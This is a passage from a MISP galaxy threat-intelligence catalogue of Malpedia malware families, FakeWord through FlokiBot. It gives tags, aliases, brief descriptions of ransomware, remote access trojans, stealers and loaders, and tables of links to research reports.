<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc">https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc</a></td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2015/07/30/operation-potao-express/">http://www.welivesecurity.com/2015/07/30/operation-potao-express/</a></td>
</tr>
</tbody>
</table>

FakeWord

The tag is: *misp-galaxy:malpedia="FakeWord"*

FakeWord is also known as:

**Table 3029. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword">https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword</a></td>
</tr>
</tbody>
</table>

fancyfilter

FancyFilter is a piece of code that documents code overlap between frameworks used by Regin and Equation Group.

The tag is: *misp-galaxy:malpedia="fancyfilter"*
fancyfilter is also known as:

- 0xFancyFilter

**Table 3030. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter">https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter</a></td>
</tr>
<tr>
<td><a href="https://www.epicturla.com/previous-works/hitb2020-voltron-sta">https://www.epicturla.com/previous-works/hitb2020-voltron-sta</a></td>
</tr>
</tbody>
</table>

**Fanny**

The tag is: *misp-galaxy:malpedia="Fanny"*

Fanny is also known as:

- DEMENTIAWHEEL

**Table 3031. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny">https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1">https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1</a></td>
</tr>
<tr>
<td><a href="https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/">https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/">https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/</a></td>
</tr>
</tbody>
</table>

**FantomCrypt**

According to PCrisk, Fantom is a ransomware-type virus that imitates the Windows update procedure while encrypting files. This is unusual, since most ransomware encrypts files stealthily without showing any activity. During encryption, Fantom appends the names of encrypted files with the ".locked4", ".fantom" or ".locked" extension.

The tag is: *misp-galaxy:malpedia="FantomCrypt"*

FantomCrypt is also known as:

**Table 3032. Table References**
Farseer

The tag is: `misp-galaxy:malpedia="Farseer"`

Farseer is also known as:

<table>
<thead>
<tr>
<th>Table 3033. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer">https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/">https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/">https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/</a></td>
</tr>
</tbody>
</table>

FastLoader

FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations.

The tag is: `misp-galaxy:malpedia="FastLoader"`

FastLoader is also known as:

<table>
<thead>
<tr>
<th>Table 3034. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader</a></td>
</tr>
</tbody>
</table>

FastPOS

The tag is: `misp-galaxy:malpedia="FastPOS"`

FastPOS is also known as:

<table>
<thead>
<tr>
<th>Table 3035. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos</a></td>
</tr>
</tbody>
</table>
FatalRat

According to PCrisk, FatalRAT is the name of a Remote Access Trojan (RAT). A RAT is a type of malware that allows the attacker to remotely control the infected computer and use it for various purposes.

Typically, RATs are used to access files and other data, watch computing activities on the screen and capture screenshots, steal sensitive information (e.g., login credentials, credit card details).

There are many legitimate remote administration/access tools on the Internet. It is common that cybercriminals use those tools with malicious intent too.

The tag is: misp-galaxy:malpedia="FatalRat"

FatalRat is also known as:

• Sainbox RAT

Table 3036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=gjvnVZc11Vg">https://www.youtube.com/watch?v=gjvnVZc11Vg</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html">https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html</a></td>
</tr>
</tbody>
</table>

FatDuke

According to ESET Research, FatDuke is the current flagship backdoor of APT29 and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but ESET also have seen the operators dropping FatDuke using lateral movement tools such as
PsExec. The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke that ESET have seen was compiled on May 24, 2019. They have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, ESET have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.

The tag is: *misp-galaxy:malpedia=“FatDuke”*

FatDuke is also known as:

*Table 3037. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hemlock">https://www.secureworks.com/research/threat-profiles/iron-hemlock</a></td>
</tr>
</tbody>
</table>

**Fauppod**

The tag is: *misp-galaxy:malpedia=“Fauppod”*

Fauppod is also known as:

*Table 3038. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fauppod">https://malpedia.caad.fkie.fraunhofer.de/details/win.fauppod</a></td>
</tr>
</tbody>
</table>

**FCT**

Ransomware.

The tag is: *misp-galaxy:malpedia=“FCT”*

FCT is also known as:

*Table 3039. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fct">https://malpedia.caad.fkie.fraunhofer.de/details/win.fct</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/02/fct-ransomware.html">https://id-ransomware.blogspot.com/2020/02/fct-ransomware.html</a></td>
</tr>
</tbody>
</table>
Felismus

The tag is: misp-galaxy:malpedia="Felismus"

Felismus is also known as:

Table 3040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus">https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus</a></td>
</tr>
</tbody>
</table>

Felixroot

The tag is: misp-galaxy:malpedia="Felixroot"

Felixroot is also known as:

Table 3041. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot">https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257">https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257</a></td>
</tr>
</tbody>
</table>

fengine

The tag is: misp-galaxy:malpedia="fengine"

fengine is also known as:

Table 3042. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine">https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.jp/blogs/security-research/naver-ending-game-lazarus-apt">https://www.zscaler.jp/blogs/security-research/naver-ending-game-lazarus-apt</a></td>
</tr>
</tbody>
</table>

Feodo

Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.
The tag is: *misp-galaxy:malpedia=*"Feodo"

Feodo is also known as:

- Bugat
- Cridex

Table 3043. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo">https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo</a></td>
</tr>
<tr>
<td><a href="http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html">http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html</a></td>
</tr>
<tr>
<td><a href="https://feodotracker.abuse.ch/">https://feodotracker.abuse.ch/</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html">http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/">https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Maksim_Yakubets">https://en.wikipedia.org/wiki/Maksim_Yakubets</a></td>
</tr>
</tbody>
</table>

**FFDroider**

According to PCrisk, FFDroider is a malicious program classified as a stealer. It is designed to extract and exfiltrate sensitive data from infected devices. FFDroider targets popular social media and e-commerce platforms in particular.

The tag is: *misp-galaxy:malpedia=*"FFDroider"

FFDroider is also known as:

Table 3044. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider">https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider</a></td>
</tr>
</tbody>
</table>

**Ficker Stealer**

According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we'll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.

The tag is: *misp-galaxy:malpedia=*"Ficker Stealer"
Ficker Stealer is also known as:

Table 3045. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer</a></td>
</tr>
<tr>
<td><a href="https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market">https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1321209656774135810">https://twitter.com/3xp0rtblog/status/1321209656774135810</a></td>
</tr>
<tr>
<td><a href="https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a">https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a</a></td>
</tr>
<tr>
<td><a href="https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon">https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus">https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus</a></td>
</tr>
</tbody>
</table>

FileIce

The tag is: misp-galaxy:malpedia="FileIce"

FileIce is also known as:

Table 3046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom</a></td>
</tr>
</tbody>
</table>

Filerase

Filerase is a .net API-based utility capable of propagating and recursively deleting files.

The tag is: misp-galaxy:malpedia="Filerase"

Filerase is also known as:

Table 3047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase">https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase</a></td>
</tr>
</tbody>
</table>
Final1stSpy

The tag is: *misp-galaxy:malpedia=“Final1stSpy”*

Final1stSpy is also known as:

Table 3048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/">https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/</a></td>
</tr>
</tbody>
</table>

FindPOS

The tag is: *misp-galaxy:malpedia=“FindPOS”*

FindPOS is also known as:

- Poseidon

Table 3049. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos</a></td>
</tr>
<tr>
<td><a href="https://blogs.cisco.com/security/talos/poseidon">https://blogs.cisco.com/security/talos/poseidon</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/">https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/</a></td>
</tr>
</tbody>
</table>

FinFisher RAT

FinFisher is a commercial software used to steal information and spy on affected victims. It began with few functionalities which included password harvesting and information leakage, but now it is mostly known for its full Remote Access Trojan (RAT) capabilities. It is mostly known for being used in governmental targeted and lawful criminal investigations. It is well known for its anti-detection capabilities and use of VMProtect.

The tag is: *misp-galaxy:malpedia=“FinFisher RAT”*
- FinSpy

### Table 3050. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html">https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html</a></td>
</tr>
<tr>
<td><a href="https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye">https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye</a></td>
</tr>
<tr>
<td><a href="https://github.com/RolfRolloes/FinSpyVM">https://github.com/RolfRolloes/FinSpyVM</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/finspy-unseen-findings/104322/">https://securelist.com/finspy-unseen-findings/104322/</a></td>
</tr>
</tbody>
</table>
FINTEAM

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

The tag is: *misp-galaxy:malpedia="FINTEAM"*

FINTEAM is also known as:

- TeamBot

Table 3051. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.finteam">https://malpedia.caad.fkie.fraunhofer.de/details/win.finteam</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/">https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/</a></td>
</tr>
</tbody>
</table>

Fireball

The tag is: *misp-galaxy:malpedia="Fireball"*

Fireball is also known as:

Table 3052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball">https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball</a></td>
</tr>
<tr>
<td><a href="http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/">http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/</a></td>
</tr>
</tbody>
</table>

FireBird RAT

The tag is: *misp-galaxy:malpedia="FireBird RAT"*

FireBird RAT is also known as:

Table 3053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.firebird_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.firebird_rat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/casual_malware/status/1237775601035096064">https://twitter.com/casual_malware/status/1237775601035096064</a></td>
</tr>
</tbody>
</table>
**Fire Chili**

The purpose of this rootkit/driver is hiding and protecting malicious artifacts from user-mode components (e.g. files, processes, registry keys and network connections). According to Fortguard Labs, this malware uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations, why this malware has to rely on specific OS builds.

The tag is: `misp-galaxy:malpedia="Fire Chili"

Fire Chili is also known as:

**Table 3054. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili">https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits">https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits</a></td>
</tr>
</tbody>
</table>

**FireCrypt**

The tag is: `misp-galaxy:malpedia="FireCrypt"

FireCrypt is also known as:

**Table 3055. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt</a></td>
</tr>
</tbody>
</table>

**FireMalv**

The tag is: `misp-galaxy:malpedia="FireMalv"

FireMalv is also known as:

**Table 3056. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv">https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv</a></td>
</tr>
</tbody>
</table>

**FirstRansom**

The tag is: `misp-galaxy:malpedia="FirstRansom"
FirstRansom is also known as:

Table 3057. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/815949909648150528">https://twitter.com/JaromirHorejsi/status/815949909648150528</a></td>
</tr>
</tbody>
</table>

**FishMaster**

A custom loader for CobaltStrike.

The tag is: *misp-galaxy:malpedia="FishMaster"

FishMaster is also known as:

- JollyJellyfish

Table 3058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster">https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster</a></td>
</tr>
</tbody>
</table>

**FiveHands**

The tag is: *misp-galaxy:malpedia="FiveHands"

FiveHands is also known as:

- Thieflock

Table 3059. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a</a></td>
</tr>
</tbody>
</table>
Flagpro

According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim’s environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:

- Download and execute a tool
- Execute OS commands and send results
- Collect and send Windows authentication information

The tag is: `misp-galaxy:malpedia="Flagpro"`

Flagpro is also known as:

- BUSYICE

Table 3060. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro">https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro</a></td>
</tr>
<tr>
<td><a href="https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/">https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/</a></td>
</tr>
<tr>
<td><a href="https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro">https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro</a></td>
</tr>
</tbody>
</table>

Flame

The tag is: `misp-galaxy:malpedia="Flame"`
Flame is also known as:

- sKyWIper

**Table 3061. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flame">https://malpedia.caad.fkie.fraunhofer.de/details/win.flame</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-flame-questions-and-answers-51/34344/">https://securelist.com/the-flame-questions-and-answers-51/34344/</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/">https://community.broadcom.com/symantecenterprise/</a></td>
</tr>
<tr>
<td>communities/community-home/librarydocuments/viewdocument?</td>
</tr>
<tr>
<td>DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</td>
</tr>
<tr>
<td><a href="https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf">https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddee8be63a4757/202304114e0fa0f4fd1d408aaddee8be63a4757_20230411161526_0531.pdf">https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddee8be63a4757/202304114e0fa0f4fd1d408aaddee8be63a4757_20230411161526_0531.pdf</a></td>
</tr>
<tr>
<td><a href="https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf">https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/flamer-recipe-bluethoothache">https://www.symantec.com/connect/blogs/flamer-recipe-bluethoothache</a></td>
</tr>
</tbody>
</table>

**FLASHFLOOD**

FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the removable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information or contacts.

The tag is: *misp-galaxy:malpedia="FLASHFLOOD"*

FLASHFLOOD is also known as:

**Table 3062. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood">https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>
FlawedAmmyy

FlawedAmmyy is a well-known Remote Access Tool (RAT) attributed to criminal gang TA505 and used to get the control of target machines. The name reminds the strong link with the leaked source code of Ammyy Admin from which it took the main structure.

The tag is: misp-galaxy:malpedia="FlawedAmmyy"

FlawedAmmyy is also known as:

Table 3063. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy">https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=N4f2e8Mygag">https://www.youtube.com/watch?v=N4f2e8Mygag</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930">https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-tahoe">https://www.secureworks.com/research/threat-profiles/gold-tahoe</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0381/">https://attack.mitre.org/software/S0381/</a></td>
</tr>
<tr>
<td><a href="https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/">https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/</a></td>
</tr>
<tr>
<td><a href="https://habr.com/ru/company/pt/blog/475328/">https://habr.com/ru/company/pt/blog/475328/</a></td>
</tr>
<tr>
<td><a href="https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do">https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do</a></td>
</tr>
</tbody>
</table>
FlawedGrace

According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.

FlawedGrace uses a series of commands: FlawedGrace also uses a series of commands, provided below for reference: * desktop_stat * destroy_os * target_download * target_module_load * target_module_load_external * target_module_unload * target_passwords * target_rdp * target_reboot * target_remove * target_script * target_servers * target_update * target_upload

The tag is: misp-galaxy:malpedia="FlawedGrace"

FlawedGrace is also known as:

• GraceWire

Table 3064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace">https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/">https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/</a></td>
</tr>
<tr>
<td><a href="https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem">https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem</a></td>
</tr>
<tr>
<td><a href="https://blog.codsec.com/posts/malware/gracewire_adventure/">https://blog.codsec.com/posts/malware/gracewire_adventure/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/">https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/">https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace">https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace</a></td>
</tr>
</tbody>
</table>
FlexiSpy (Windows)

The tag is: `misp-galaxy:malpedia="FlexiSpy (Windows)"

FlexiSpy (Windows) is also known as:

**Table 3065. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy">https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy</a></td>
</tr>
</tbody>
</table>

FlokiBot

The tag is: `misp-galaxy:malpedia="FlokiBot"

FlokiBot is also known as:

**Table 3066. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot">https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot</a></td>
</tr>
<tr>
<td><a href="http://adelmas.com/blog/flokibot.php">http://adelmas.com/blog/flokibot.php</a></td>
</tr>
<tr>
